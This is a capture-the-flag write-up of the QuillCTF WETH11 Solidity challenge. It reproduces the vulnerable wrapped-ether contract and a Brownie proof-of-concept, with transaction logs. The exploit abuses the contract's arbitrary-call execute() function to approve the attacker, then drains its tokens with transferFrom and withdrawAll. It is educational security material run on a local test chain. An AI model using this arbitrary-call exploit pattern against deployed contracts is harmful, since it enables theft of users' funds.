Skip to main content

QuillCTF - Weth-11

· 6 min read
Kaan Caglan

WETH11 is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. WETH10.sol. Contract is not deployed on any test network.

Objective of CTF is

We have fixed WETH10 and now have introduced its new version WETH11.
But along the way, bob made a mistake and transferred its tokens to the wrong address.
Can you help bob recover his 10 ether?

There is also one setup deployment script for this contract which is written in foundry.

Setup

// SPDX-License-Identifier: Manija
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";

import "../src/WETH11.sol";

contract Weth11Test is Test {
WETH11 public weth;
address owner;
address bob;

function setUp() public {
weth = new WETH11();
bob = makeAddr("bob");

vm.deal(address(bob), 10 ether);
vm.startPrank(bob);
weth.deposit{value: 10 ether}();
weth.transfer(address(weth), 10 ether);
vm.stopPrank();
}

function testHack() public {
assertEq(
weth.balanceOf(address(weth)),
10 ether,
"weth contract should have 10 ether"
);

vm.startPrank(bob);

// hack time!

vm.stopPrank();

assertEq(address(weth).balance, 0, "empty weth contract");
assertEq(
weth.balanceOf(address(weth)),
0,
"empty weth on weth contract"
);

assertEq(
bob.balance,
10 ether,
"player should recover initial 10 ethers"
);
}
}

Contract

pragma solidity ^0.8.0;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";

// The Angel Di Maria Wrapped Ether
contract WETH11 is ERC20("Angel Di Maria Wrapped Ether", "WETH11"), ReentrancyGuard {
receive() external payable {
deposit();
}

function _burnAll() internal {
_burn(msg.sender, balanceOf(msg.sender));
}

function deposit() public payable nonReentrant {
_mint(msg.sender, msg.value);
}

function withdraw(uint256 wad) external nonReentrant {
_burn(msg.sender, wad);
Address.sendValue(payable(msg.sender), wad);

}

function withdrawAll() external nonReentrant {
uint256 balance = balanceOf(msg.sender);
_burnAll();
Address.sendValue(payable(msg.sender), balance);

}

/// @notice Request a flash loan in ETH
function execute(address receiver, uint256 amount, bytes calldata data) external nonReentrant {
uint256 prevBalance = address(this).balance;
Address.functionCallWithValue(receiver, data, amount);

require(address(this).balance >= prevBalance, "flash loan not returned");
}
}

This new challenge is a different version of the previous WETH-10 challenge. And from WETH-10 challenge we know that there were 2 vulnerabilities but we couldn't exploit one of them because weth contract does not have any erc20 tokens. Now if we take a look to the setup script it can be seen that contract has ERC20 tokens, so we can exploit it. That setup script can be written in python easily

from brownie import *
from scripts.setup_general import console

def setup():
owner = accounts[0]
bob = accounts[1]

weth = WETH11.deploy({'from': owner})
#bob transfer all his money to owner
bob.transfer(owner, bob.balance())
#owner transfer 10 ether to weth contract
owner.transfer(weth, web3.toWei('10', 'ether'))
#now bob should have 0 balance
assert bob.balance() == web3.toWei('0', 'ether')
assert weth.balanceOf(bob) == web3.toWei('0', 'ether')
#Weth transfers all his money to weth, now balanceOf(weth) should be 10 eth, balanceOf(bob) should be 0
weth.deposit({'from': weth, 'value': web3.toWei('10', 'ether')})
assert weth.balanceOf(bob) == 0
assert weth.balanceOf(weth) == web3.toWei('10', 'ether')

Just as a reminder, If we take a look at the weth contract there is one function named `execute` which is expecting receiver and data. So it means we can call any function we want as a weth contract because `msg.sender` will be the address of `weth` contract. That function is definitely vulnerable. We can just approve as much as erc20 token and increase our allowance as an attacker.

>>> weth.allowance(weth, bob)

0
>>> weth.approve.encode_input(bob, web3.toWei('10', 'ether'))
'0x095ea7b300000000000000000000000033a4622b82d4c04a53e170c638b944ce27cffce30000000000000000000000000000000000000000000000008ac7230489e80000'
>>> weth.execute(weth, 0, 0x095ea7b300000000000000000000000033a4622b82d4c04a53e170c638b944ce27cffce30000000000000000000000000000000000000000000000008ac7230489e80000, {'from': bob})
Transaction sent: 0xeb5ab00839aa2129d1961cddb20703363919397185d8437d796d312b3f4f6e91
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
WETH11.execute confirmed Block: 5 Gas used: 49948 (0.42%)

<Transaction '0xeb5ab00839aa2129d1961cddb20703363919397185d8437d796d312b3f4f6e91'>
>>> weth.allowance(weth, bob)

10000000000000000000
>>> weth.balanceOf(weth)
10000000000000000000
>>> weth.transferFrom(weth, bob, web3.toWei('10', 'ether'), {'from': bob})
Transaction sent: 0x6154480414fc046d8f2bafd059a2b38677f082f61565230871853d82032c5aa4
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
WETH11.transferFrom confirmed Block: 6 Gas used: 29790 (0.25%)

<Transaction '0x6154480414fc046d8f2bafd059a2b38677f082f61565230871853d82032c5aa4'>
>>> weth.balanceOf(bob)
10000000000000000000
>>> bob.balance()
0
>>> weth.withdrawAll({'from': bob})
Transaction sent: 0x9d7c6677336e593e4145150b6434b52ca6fed9095331c34f65b492d8a20e9fcf
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3
WETH11.withdrawAll confirmed Block: 7 Gas used: 31833 (0.27%)

<Transaction '0x9d7c6677336e593e4145150b6434b52ca6fed9095331c34f65b492d8a20e9fcf'>
>>> bob.balance()
10000000000000000000

It can be seen that we can increase our allowance and it means we can use/transfer any erc20 token weth has. And eventually, after we allow ourselves to transfer, we can transfer all erc20 with transferFrom function and then we can withdraw to get back our initial 10 ether.

POC

Python Exploit Function

from brownie import *
from scripts.setup_general import console

def setup():
owner = accounts[0]
bob = accounts[1]

weth = WETH11.deploy({'from': owner})
#bob transfer all his money to owner
bob.transfer(owner, bob.balance())
#owner transfer 10 ether to weth contract
owner.transfer(weth, web3.toWei('10', 'ether'))
#now bob should have 0 balance
assert bob.balance() == web3.toWei('0', 'ether')
assert weth.balanceOf(bob) == web3.toWei('0', 'ether')
#Weth transfers all his money to weth, now balanceOf(weth) should be 10 eth, balanceOf(bob) should be 0
weth.deposit({'from': weth, 'value': web3.toWei('10', 'ether')})
assert weth.balanceOf(bob) == 0
assert weth.balanceOf(weth) == web3.toWei('10', 'ether')

def exploit():
bob = accounts[1]
weth = WETH11[-1]
data = weth.approve.encode_input(bob, web3.toWei('10', 'ether'))
assert weth.allowance(weth, bob) == 0
console.yellow("Executing approve message as weth contract to allow ourselves.")
weth.execute(weth, 0, data, {'from': bob})
assert weth.allowance(weth, bob) == web3.toWei('10', 'ether')
assert weth.balanceOf(bob) == 0
console.yellow("Transfering 10 ether to bob")
weth.transferFrom(weth, bob, web3.toWei('10', 'ether'), {'from': bob})
assert weth.balanceOf(bob) == web3.toWei('10', 'ether')
console.yellow("Withdrawing all money")
weth.withdrawAll({'from': bob})
assert weth.balance() == 0
assert weth.balanceOf(weth) == 0
assert bob.balance() == web3.toWei('10', 'ether')
console.green("Balance of Bob is: " + str(bob.balance()))

And the output is


- >>> run('poc', 'setup')

Running 'scripts\poc.py::setup'...
Transaction sent: 0x3619825af7d1df7fb5f2a344799572dec2dd2c9d4021b1ddc3a909ce712b5696
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
WETH11.constructor confirmed Block: 1 Gas used: 1050675 (8.76%)
WETH11 deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87

Transaction sent: 0x8e9c7ae347f36b42c9e790c165c52d918ba140858830f8b340c43b5eca839aaa
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
Transaction confirmed Block: 2 Gas used: 21000 (0.18%)

Transaction sent: 0x240855cb89af447bb59e22c8bd9571aaf908970d25c09dbd6a908e89163078ad
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
Transaction confirmed Block: 3 Gas used: 67226 (0.56%)

Transaction sent: 0x8f6cd5012aa640c7fdbbd72b24858ed89fb09073b76d7d2e5cfac013113d0fb7
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
WETH11.deposit confirmed Block: 4 Gas used: 52397 (0.44%)

- >>> run('poc', 'exploit')

Running 'scripts\poc.py::exploit'...
+ Executing approve message as weth contract to allow ourselves.
Transaction sent: 0xeb5ab00839aa2129d1961cddb20703363919397185d8437d796d312b3f4f6e91
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
WETH11.execute confirmed Block: 5 Gas used: 49948 (0.42%)

+ Transfering 10 ether to bob
Transaction sent: 0x6154480414fc046d8f2bafd059a2b38677f082f61565230871853d82032c5aa4
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
WETH11.transferFrom confirmed Block: 6 Gas used: 29790 (0.25%)

+ Withdrawing all money
Transaction sent: 0x9d7c6677336e593e4145150b6434b52ca6fed9095331c34f65b492d8a20e9fcf
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3
WETH11.withdrawAll confirmed Block: 7 Gas used: 31833 (0.27%)

+ Balance of Bob is: 10000000000000000000